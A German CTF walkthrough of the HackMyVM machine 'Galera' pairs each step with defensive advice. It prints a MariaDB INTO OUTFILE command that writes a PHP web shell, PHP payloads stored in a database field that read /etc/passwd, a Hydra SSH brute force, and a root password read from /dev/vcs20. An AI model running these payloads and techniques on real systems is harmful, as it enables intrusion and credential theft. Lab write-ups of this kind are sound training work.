Analyse (POC Schritt 3): Mit dem SQL-Befehl `SELECT "?php if(isset($GET['cmd'])){ echo 'pre'; system($GET['cmd']); echo '/pre'; } ?" INTO OUTFILE '/var/www/html/revshell.php';` wird versucht, eine einfache PHP-Web-Shell zu erstellen. Die Tags im PHP-Code wurden durch die Verarbeitungsregel entfernt. Der PHP-Code (rekonstruiert) `'; system($._GET['cmd']); echo ''; } ?>` nimmt einen GET-Parameter namens `cmd` entgegen, führt dessen Inhalt als Systembefehl aus und gibt die Ausgabe im Browser aus. `INTO OUTFILE '/var/www/html/revshell.php'` weist MariaDB an, das Ergebnis des `SELECT`-Statements (also den PHP-Code-String) in die Datei `/var/www/html/revshell.php` zu schreiben. `/var/www/html/` ist der Standard-Web-Root für Apache auf Debian. Die Antwort `Query OK, 1 row affected (0,001 sec)` signalisiert, dass der Befehl erfolgreich ausgeführt wurde und die Datei geschrieben wurde.
Bewertung (POC Schritt 3): Web-Shell erfolgreich platziert! Durch die Verkettung der unsicheren Galera-Konfiguration (Cluster-Beitritt), der `FILE`-Privilegien und der leeren `secure_file_priv`-Einstellung konnte eine PHP-Backdoor direkt in das Web-Root-Verzeichnis geschrieben werden. Dies ermöglicht nun die Ausführung beliebiger Systembefehle auf dem Zielserver mit den Rechten des Webserver-Benutzers (typischerweise `www-data`).
Empfehlung (Pentester): Rufen Sie die Web-Shell im Browser auf (`http://galera.hmv/revshell.php?cmd=id`) und testen Sie die Befehlsausführung. Nutzen Sie dies, um Informationen über das System zu sammeln, nach weiteren Schwachstellen zu suchen oder eine Reverse Shell zu etablieren für interaktiveren Zugriff.
Empfehlung (Admin): Sofortmaßnahmen: Entfernen Sie die Web-Shell (`/var/www/html/revshell.php`). Beheben Sie die zugrundeliegenden Schwachstellen (Galera-Sicherheit, `secure_file_priv`, `FILE`-Privilegien). Implementieren Sie Intrusion Detection Systeme (IDS) und File Integrity Monitoring (FIM), um solche Aktivitäten zu erkennen.
infophp...
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE addressApache/2.4.62 (Debian) Server at galera.hmv Port 80/address
SERVER_SOFTWARE Apache/2.4.62 (Debian)
SERVER_NAME galera.hmv
SERVER_ADDR 192.168.2.201
SERVER_PORT 80
REMOTE_ADDR 192.168.2.199
DOCUMENT_ROOT /var/www/html
Analyse: Dieser Ausschnitt stammt vermutlich aus der `info.php`-Seite und bestätigt den `DOCUMENT_ROOT` des Webservers als `/var/www/html`. Dies ist die Information, die der Pentester verwendet hat, um den korrekten Pfad für die `INTO OUTFILE`-Anweisung zu bestimmen. Die Tags in `SERVER_SIGNATURE` wurden entfernt.
Bewertung: Die `phpinfo()`-Seite lieferte hier eine entscheidende Information, die direkt zur erfolgreichen Platzierung der Web-Shell beigetragen hat.
Empfehlung (Pentester): `phpinfo()`-Seiten sind Goldgruben für Informationen. Immer gründlich analysieren.
Empfehlung (Admin): `phpinfo()`-Seiten im Produktivbetrieb unbedingt entfernen oder sehr stark einschränken. Sie geben zu viele sensible Konfigurationsdetails preis.
SELECT "?php if(isset($GET['cmd'])){ echo 'pre'; system($GET['cmd']); echo '/pre'; } ?" INTO OUTFILE '/var/www/html/revshell.php'; ERROR 1086 (HY000): File '/var/www/html/revshell.php' already exists MariaDB [galeradb]>
Analyse: Der Pentester versucht erneut, die Web-Shell mit demselben `SELECT ... INTO OUTFILE`-Befehl zu schreiben. Diesmal meldet MariaDB jedoch `ERROR 1086 (HY000): File '/var/www/html/revshell.php' already exists`. Dies bestätigt, dass die Datei im vorherigen Schritt erfolgreich erstellt wurde und MariaDB standardmäßig keine existierenden Dateien mit `INTO OUTFILE` überschreibt.
Bewertung: Dies ist erwartetes Verhalten und bestätigt den Erfolg des vorherigen Schreibvorgangs. Es zeigt auch eine eingebaute Sicherheitsfunktion von `INTO OUTFILE` (kein Überschreiben), die hier aber irrelevant ist, da die Datei bereits platziert wurde.
Empfehlung (Pentester): Keine Aktion erforderlich, die Shell ist bereits vorhanden.
Empfehlung (Admin): Keine spezifische Aktion bezüglich dieses Fehlers, aber die zugrundeliegenden Schwachstellen bleiben bestehen.
INSERT INTO users (username, email, password, created_at) VALUES ('hacker', '?php phpinfo(); ?', '$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.', '2025-05-26 19:10:26'); Query OK, 1 row affected (0,003 sec)
Analyse: Der Pentester fügt einen neuen Benutzer namens `hacker` in die `users`-Tabelle ein. Das Interessante hier ist der Wert für die `email`-Spalte: `?php phpinfo(); ?` (Tags entfernt). Der Pentester versucht, PHP-Code in ein Datenbankfeld einzuschleusen, in der Hoffnung, dass dieser Code irgendwo in der Webanwendung unsachgemäß ausgegeben und vom PHP-Interpreter ausgeführt wird (Stored XSS, das zu RCE eskaliert, wenn PHP-Code direkt ausgeführt wird).
Bewertung: Dies ist ein Versuch, eine weitere Backdoor oder einen Informationspunkt über eine Stored XSS-ähnliche Schwachstelle zu schaffen. Wenn die E-Mail-Adresse eines Benutzers irgendwo auf der Webseite unescaped angezeigt wird, könnte dies (rekonstruiert) `phpinfo()` ausführen. Die Wahrscheinlichkeit, dass PHP-Code, der in einem Datenbankfeld gespeichert ist, direkt als PHP ausgeführt wird, ist gering, wenn die Anwendung Standard-Escaping-Mechanismen verwendet. Es ist wahrscheinlicher, dass dies als HTML/Text interpretiert wird.
Empfehlung (Pentester): Überprüfen Sie alle Stellen in der Webanwendung, an denen Benutzer-E-Mails angezeigt werden (z.B. Profilseiten, Admin-Listen), um zu sehen, ob der PHP-Code ausgeführt oder als HTML interpretiert wird.
Empfehlung (Admin): Implementieren Sie konsequent Output-Encoding für alle Daten, die aus der Datenbank gelesen und im Browser angezeigt werden, um Stored XSS und ähnliche Angriffe zu verhindern. Validieren und sanitisieren Sie alle Benutzereingaben, bevor sie in die Datenbank geschrieben werden.
UPDATE users SET email = '?php echo php://filter/resource=/etc/passwd''; ?' WHERE username = 'hacker'; Query OK, 1 row affected (0,002 sec) Rows matched: 1 Changed: 1 Warnings: 0
Analyse: Der Pentester aktualisiert die E-Mail-Adresse des zuvor erstellten `hacker`-Benutzers. Der neue E-Mail-Wert ist `?php echo php://filter/resource=/etc/passwd''; ?` (Tags entfernt). Dies ist ein weiterer Versuch, PHP-Code einzuschleusen. `php://filter/resource=/etc/passwd` ist ein PHP-Stream-Wrapper, der den Inhalt der Datei `/etc/passwd` lesen würde. Wenn dieser PHP-Code irgendwo ausgeführt wird, würde er den Inhalt von `/etc/passwd` ausgeben.
Bewertung: Ähnlich wie beim vorherigen Versuch. Das Ziel ist es, über eine potenzielle Stored XSS-Lücke (oder eine direkte Ausführung von in der DB gespeichertem PHP-Code) an den Inhalt von `/etc/passwd` zu gelangen. Die Wahrscheinlichkeit der direkten PHP-Ausführung ist gering, aber eine XSS-Lücke könnte den Code im Browser-Kontext interpretieren lassen (obwohl PHP serverseitig ist, zielt der Payload hier klar auf serverseitige Ausführung ab).
Empfehlung (Pentester): Suchen Sie nach Stellen in der Anwendung, an denen die E-Mail-Adresse des `hacker`-Benutzers ausgegeben wird, um zu sehen, ob der Code interpretiert wird.
Empfehlung (Admin): Auch hier gelten die Empfehlungen zu Input-Validierung, Sanitization und Output-Encoding.
UPDATE users SET email = '?php echo include(''php://filter/read=convert.base64-encode/resource=/etc/passwd''); ?' WHERE username = 'hacker2'; Query OK, 0 rows affected (0,000 sec) Rows matched: 0 Changed: 0 Warnings: 0
Analyse: Ein weiterer Versuch, PHP-Code in die `email`-Spalte zu injizieren, diesmal für einen Benutzer `hacker2`. Der Payload `?php echo include(''php://filter/read=convert.base64-encode/resource=/etc/passwd''); ?` (Tags entfernt) würde, falls ausgeführt, den Inhalt von `/etc/passwd` lesen, base64-kodieren und dann ausgeben. Base64-Kodierung wird oft verwendet, um Probleme mit Sonderzeichen bei der Ausgabe zu umgehen. Die Meldung `Query OK, 0 rows affected` und `Rows matched: 0` bedeutet, dass kein Benutzer mit dem Namen `hacker2` in der Datenbank existiert, daher wurde keine Aktualisierung durchgeführt.
Bewertung: Der Versuch schlug fehl, weil der Benutzer `hacker2` nicht existiert. Der Payload selbst ist eine gängige Methode, um Dateien zu exfiltrieren, wenn PHP-Code-Ausführung möglich ist.
Empfehlung (Pentester): Erstellen Sie zuerst den Benutzer `hacker2` oder verwenden Sie einen existierenden Benutzer für diesen Payload.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Code-Injection-Prävention.
INSERT INTO users (username, email, password, created_at) VALUES ('hacker6', '?php echo include(''php://filter/read=convert.base64-encode/resource=/etc/passwd'');?', '$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.', '2025-05-26 09:50:00'); Query OK, 1 row affected (0,001 sec)
says: ss cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMDoxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTAxOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KZG9uanVhbmRlYXVzdHJpYTp4OjEwMDA6MTAwMDpkb25qdWFuZGVhdXN0cmlhLCwsOi9ob21lL2Rvbmp1YW5kZWF1c3RyaWE6L2Jpbi9iYXNoCm15c3FsOng6MTAyOjExMDpNeVNRTCBTZXJ2ZXIsLCw6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UK 1 says: ss root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin sshd:x:101:65534::/run/sshd:/usr/sbin/nologin donjuandeaustria:x:1000:1000:donjuandeaustria,,,:/home/donjuandeaustria:/bin/bash mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
Analyse: Der Pentester erstellt einen neuen Benutzer `hacker6` und injiziert den PHP-Payload `?php echo include(''php://filter/read=convert.base64-encode/resource=/etc/passwd'');?` (Tags entfernt) in dessen E-Mail-Feld. Die darauf folgende Ausgabe "says: ss cm9vdD..." ist die base64-kodierte Version des Inhalts der `/etc/passwd`-Datei, gefolgt von der dekodierten Version. Dies bedeutet, dass der Pentester eine Stelle in der Webanwendung gefunden hat (wahrscheinlich eine Profilseite oder eine Benutzerliste im Admin-Bereich, auf die er nach dem Login als `admin` Zugriff hat), wo die E-Mail-Adresse des Benutzers `hacker6` ausgegeben und der darin enthaltene PHP-Code serverseitig ausgeführt wurde.
Bewertung: Erfolgreiche Ausführung von eingeschleustem PHP-Code und Datei-Exfiltration! Dies bestätigt eine kritische Schwachstelle: Die Anwendung führt PHP-Code aus, der in Datenbankfeldern gespeichert ist, wenn diese Felder an einer bestimmten Stelle angezeigt werden. Der Zugriff auf `/etc/passwd` liefert eine Liste der Benutzer auf dem System, deren Home-Verzeichnisse und Standard-Shells. Dies ist sehr wertvoll für die weitere Planung der Privilege Escalation. Wichtige Benutzer sind `root`, `www-data` (der Webserver-Benutzer) und `donjuandeaustria` (ein regulärer Benutzer mit einer Bash-Shell).
Empfehlung (Pentester): Nutzen Sie diese Schwachstelle, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien von Webanwendungen, SSH-Schlüssel, Cronjob-Skripte). Suchen Sie nach Passwörtern oder privaten Schlüsseln in den exfiltrierten Dateien. Der Benutzer `donjuandeaustria` ist ein primäres Ziel für den nächsten Schritt, da er eine interaktive Shell hat.
Empfehlung (Admin): Dies ist eine gravierende Sicherheitslücke. Sofort beheben! Implementieren Sie strikte Eingabevalidierung und -sanitisierung für alle Daten, die in die Datenbank geschrieben werden. Vor allem aber: Niemals Daten aus der Datenbank so ausgeben, dass sie als Code (insbesondere serverseitiger Code wie PHP) interpretiert werden können. Verwenden Sie konsequent Output-Encoding (z.B. `htmlspecialchars` in PHP für HTML-Kontext). Überprüfen Sie den gesamten Code auf ähnliche Schwachstellen.
Privilege Escalation
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-26 01:36:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344489 login tries (l:1/p:14344489), ~224133 tries per task
[DATA] attacking ssh://192.168.2.201:22/
=======================================================================================
[22][ssh] host: 192.168.2.201 login: donjuandeaustria password: amorcito
=======================================================================================
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 18 final worker threads did not complete until end.
[ERROR] 18 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-26 01:37:43
Analyse: Nachdem der Benutzer `donjuandeaustria` aus der `/etc/passwd`-Datei identifiziert wurde, wird `hydra` verwendet, um einen Brute-Force-Angriff auf dessen SSH-Konto durchzuführen. `-l donjuandeaustria`: Der zu testende Benutzername. `-P /usr/share/wordlists/rockyou.txt`: Die Passwortliste. `ssh://192.168.2.201`: Das Zielprotokoll und die IP-Adresse. Port 22 ist Standard für SSH. `-t 64`: Verwendet 64 parallele Tasks. Hydra gibt eine Warnung aus, dass dies für SSH zu hoch sein könnte und empfiehlt `-t 4`. Das Ergebnis ist ein Erfolg: Hydra findet das Passwort `amorcito` für den Benutzer `donjuandeaustria`.
Bewertung: SSH-Zugangsdaten erfolgreich gefunden! Der Brute-Force-Angriff war erfolgreich, was darauf hindeutet, dass der Benutzer `donjuandeaustria` ein relativ schwaches oder häufig verwendetes Passwort benutzt, das in der `rockyou.txt`-Liste enthalten ist. Die hohe Anzahl an Tasks (`-t 64`) hat hier anscheinend nicht zu einem frühzeitigen Abbruch oder einer Blockierung geführt.
Empfehlung (Pentester): Melden Sie sich sofort per SSH mit den gefundenen Zugangsdaten (`donjuandeaustria:amorcito`) am Zielsystem an.
Empfehlung (Admin): Erzwingen Sie die Verwendung starker, einzigartiger Passwörter für alle Benutzerkonten. Implementieren Sie Maßnahmen gegen Brute-Force-Angriffe auf SSH, wie z.B. `fail2ban` oder das Ändern des Standard-SSH-Ports (Security through Obscurity, aber besser als nichts) und idealerweise die Verwendung von Schlüsselbasierter Authentifizierung anstelle von Passwörtern. Überprüfen Sie die Passwortrichtlinien.
The authenticity of host '192.168.2.201 (192.168.2.201)' can't be established. ED25519 key fingerprint is SHA256:i74LSOCZyaYgs80MUKyEspadufXaKwm+caBx6pcttAo. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.201' (ED25519) to the list of known hosts. donjuandeaustria@192.168.2.201's password: (amorcito eingegeben) Linux galera 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 8 00:14:56 2025 from 192.168.1.146 donjuandeaustria@galera:~$
Analyse: Der Pentester meldet sich mit dem zuvor gefundenen Passwort `amorcito` als Benutzer `donjuandeaustria` per SSH auf dem Zielsystem `192.168.2.201` an. Die erste Verbindung erfordert die Bestätigung des Host-Schlüssels. Nach erfolgreicher Passworteingabe erhält der Pentester eine Shell auf dem Zielsystem als Benutzer `donjuandeaustria`. Der Prompt lautet `donjuandeaustria@galera:~$`.
Bewertung: Shell-Zugriff als Benutzer `donjuandeaustria` erlangt! Dies ist ein weiterer wichtiger Meilenstein. Der Pentester hat nun interaktiven Zugriff auf das System und kann Befehle direkt ausführen.
Empfehlung (Pentester): Führen Sie grundlegende Enumerationsbefehle aus: `id`, `whoami`, `pwd`, `ls -la /home/donjuandeaustria`, `sudo -l`, `find / -perm -4000 -type f 2>/dev/null`, `cat /etc/crontab`, usw., um die Umgebung zu verstehen und nach Wegen zur Rechteerweiterung (Privilege Escalation) zu suchen. Suchen Sie nach der User-Flag.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Passwortsicherheit und SSH-Härtung.
ls donjuandeaustria.png user.txt
cat user.txt 072f9d8c26547db59e65d7aa3e55747b
Analyse: Im Home-Verzeichnis des Benutzers `donjuandeaustria` werden mit `ls` die Dateien `donjuandeaustria.png` und `user.txt` gefunden. Mit `cat user.txt` wird der Inhalt der Datei `user.txt` angezeigt: `072f9d8c26547db59e65d7aa3e55747b`. Dies ist die User-Flag.
Bewertung: Die User-Flag wurde erfolgreich gefunden.
Empfehlung (Pentester): Notieren Sie die User-Flag. Konzentrieren Sie sich nun auf die Privilege Escalation zum Root-Benutzer.
Empfehlung (Admin): In CTF-Szenarien sind Flags üblich. In realen Systemen sollten sensible Daten nicht ungeschützt in Benutzerverzeichnissen liegen.
id uid=1000(donjuandeaustria) gid=1000(donjuandeaustria) groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Analyse: Der Befehl `id` zeigt die Benutzer- und Gruppeninformationen für `donjuandeaustria`. UID und GID sind 1000. Der Benutzer ist Mitglied in verschiedenen Standardgruppen (tty, cdrom, audio, etc.), die typischerweise keine besonderen Privilegien für eine Rechteerweiterung bieten.
Bewertung: Keine offensichtlichen Privilegien durch Gruppenmitgliedschaften, die eine einfache Privilege Escalation ermöglichen würden.
Empfehlung (Pentester): Suchen Sie nach anderen Vektoren für Privilege Escalation: SUID-Binaries, schwache Dateiberechtigungen, Kernel-Exploits (obwohl das System relativ aktuell ist), Cronjobs, ungesicherte Dienste, die als Root laufen.
Empfehlung (Admin): Das Prinzip der geringsten Rechte sollte angewendet werden. Benutzer sollten nur Mitglied in Gruppen sein, die sie für ihre Arbeit benötigen.
w 19:50:48 up 2:11, 2 users, load average: 0.00, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty20 - 17:39 2:11m 0.00s ? -bash donjuand pts/0 192.168.2.188 19:50 0.00s 0.00s ? w
Analyse: Der Befehl `w` zeigt an, wer auf dem System angemeldet ist und was sie tun. Zwei Benutzer sind angemeldet: `root` auf `tty20`, angemeldet seit 17:39 Uhr und seit über 2 Stunden idle. Die `-bash`-Sitzung deutet auf eine lokale Konsolensitzung hin. `donjuand` (abgekürzt für `donjuandeaustria`) auf `pts/0` (eine Pseudo-Terminal-Session, typisch für SSH), angemeldet von `192.168.2.188` (die IP des Angreifers) um 19:50 Uhr. Das `WHAT`-Feld für den Root-Benutzer zeigt `? -bash`. Dies könnte bedeuten, dass der Befehl, der in der Root-Shell ausgeführt wird, nicht vollständig angezeigt werden kann oder dass es sich um eine Hintergrund-Shell handelt.
Bewertung: Die Information, dass `root` auf `tty20` angemeldet ist, ist interessant. Wenn diese Sitzung ungesichert ist oder ausspioniert werden kann, könnte dies ein Weg zur Rechteerweiterung sein.
Empfehlung (Pentester): Untersuchen Sie `tty20`. Versuchen Sie, auf diese TTY zu wechseln (falls physischer Zugriff simuliert wird oder es eine Möglichkeit gibt, TTYs remote zu manipulieren, was selten ist). Suchen Sie nach Prozessen, die von Root auf `tty20` ausgeführt werden. Die Information über eine idle Root-Session könnte auch bedeuten, dass dort sensible Informationen (z.B. eingegebene Befehle, Passwörter) im Scrollback-Buffer der Konsole stehen könnten, falls man Zugriff darauf bekäme.
Empfehlung (Admin): Stellen Sie sicher, dass unbeaufsichtigte Root-Sitzungen gesperrt oder automatisch abgemeldet werden. Beschränken Sie den physischen Zugriff auf Konsolen.
cat /dev/vcs20 ____ ____ _ ___ ____ ____ / | / || | / _]| \ / | | __|| o || | / [_ | D )| o | | | || || |___ | _]| / | | | |_ || _ || || [_ | \ | _ | | || | || || || . \| | | |___,_||__|__||_____||_____||__|\_||__|__| |~ |/ w / ( (| \ /( (/ |) |\ ____ ( (/ (| | ) , |----\ (/ | /| |'\ /^; \---*---Y--+-----+---+--/( \------*---*--*---*--/ '~~ ~~~~~~~~~~~~~~~ [*] Machine: Galera [*] Platform: HackMyVM [*] Author: Lenam [*] IP: 192.168.2.201 galera login: root (automatic login) Linux galera 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat May 24 15:49:32 EDT 2025 on tty20 ******************************************** Welcome, System Administrator! ******************************************** Reminder: your root password is 'saG58zJxs8crgQa366Uw' root@galera:~# 'saG58zJxs8crgQa366Uw'
Analyse: Der Befehl `cat /dev/vcs20` wird ausgeführt. `/dev/vcsX` (oder `/dev/vcsaX`) sind spezielle Gerätedateien unter Linux, die den Inhalt des Bildschirms einer virtuellen Konsole (TTY) als Text und Attributdaten zugänglich machen. `tty20` wurde im `w`-Befehl als die Konsole identifiziert, auf der `root` angemeldet ist. Die Ausgabe von `cat /dev/vcs20` zeigt den Bildschirminhalt von `tty20`. Darin befindet sich ASCII-Art, Informationen zur Maschine ("Galera", "HackMyVM", "Author: Lenam", IP) und dann, nach einer Willkommensnachricht, die kritische Zeile: "Reminder: your root password is 'saG58zJxs8crgQa366Uw'" Am Ende wird das Passwort nochmals wiederholt.
Bewertung: JACKPOT! Das Root-Passwort wurde direkt aus dem Speicher der virtuellen Konsole ausgelesen! Dies ist eine massive Sicherheitslücke. Die Nachricht mit dem Passwort wurde auf `tty20` angezeigt und blieb dort im Bildschirmspeicher. Der Benutzer `donjuandeaustria` hat Leserechte auf `/dev/vcs20` (oder die Berechtigungen sind locker gesetzt), was ihm erlaubt, diesen Bildschirminhalt und damit das Root-Passwort zu sehen.
Empfehlung (Pentester): Verwenden Sie sofort das gefundene Passwort `saG58zJxs8crgQa366Uw`, um sich mit `su root` oder per SSH (falls Root-Login erlaubt ist) als Root anzumelden.
Empfehlung (Admin): Dies ist eine kritische Informationspreisgabe und eine Fehlkonfiguration.
1. Entfernen Sie jegliche Skripte oder Mechanismen, die Passwörter im Klartext auf Konsolen ausgeben.
2. Beschränken Sie den Zugriff auf `/dev/vcs*`- und `/dev/vcsa*`-Geräte. Typischerweise sollten nur Root und Mitglieder der Gruppe `tty` Leserechte haben, aber selbst das kann in bestimmten Szenarien problematisch sein.
3. Erzwingen Sie regelmäßige Passwortänderungen und verwenden Sie keine statischen "Reminder"-Nachrichten mit Passwörtern.
4. Sichern Sie Konsolenzugänge (automatischer Logout, Bildschirmsperre).
su root Password: (saG58zJxs8crgQa366Uw eingegeben)
su root Password: (saG58zJxs8crgQa366Uw eingegeben) root@galera:/home/donjuandeaustria#
Analyse: Der Pentester verwendet den Befehl `su root`, um zum Root-Benutzer zu wechseln. Auf die Passwortabfrage gibt er das zuvor aus `/dev/vcs20` ausgelesene Passwort `saG58zJxs8crgQa366Uw` ein. Der Prompt ändert sich zu `root@galera:/home/donjuandeaustria#`, was anzeigt, dass der Wechsel zum Root-Benutzer erfolgreich war.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht und volle Kontrolle über das System erlangt. Die Privilege Escalation wurde durch das Auslesen des Root-Passworts aus dem TTY-Speicher vollzogen.
Empfehlung (Pentester): Sichern Sie die Root-Flag und dokumentieren Sie den Weg zur Kompromittierung. Führen Sie gegebenenfalls Post-Exploitation-Schritte durch (Persistenz, weitere Netzwerkaufklärung vom kompromittierten Host aus, etc.), falls dies im Scope des Pentests liegt.
Empfehlung (Admin): Alle zuvor genannten Empfehlungen bezüglich der Konsolensicherheit und Passwort-Hygiene müssen umgesetzt werden. Das System sollte als vollständig kompromittiert betrachtet und entsprechende Incident-Response-Maßnahmen eingeleitet werden (Neuinstallation aus vertrauenswürdiger Quelle, Analyse der Ursachen, Schließen der Lücken).
ls ~ root.txt
cat ~/root.txt 6a0d424c13321ca6e3b2deb2295fcc26
Analyse: Als Root-Benutzer wird mit `ls ~` das Home-Verzeichnis des Root-Benutzers (`/root/`) aufgelistet. Darin befindet sich die Datei `root.txt`. Mit `cat ~/root.txt` wird der Inhalt der Root-Flag angezeigt: `6a0d424c13321ca6e3b2deb2295fcc26`.
Bewertung: Die Root-Flag wurde erfolgreich gefunden und ausgelesen. Damit sind die Hauptziele des Pentests erreicht.
Empfehlung (Pentester): Bericht abschließen und alle Funde detailliert dokumentieren.
Empfehlung (Admin): Nach Behebung der Sicherheitslücken das System härten und regelmäßig Sicherheitsüberprüfungen durchführen.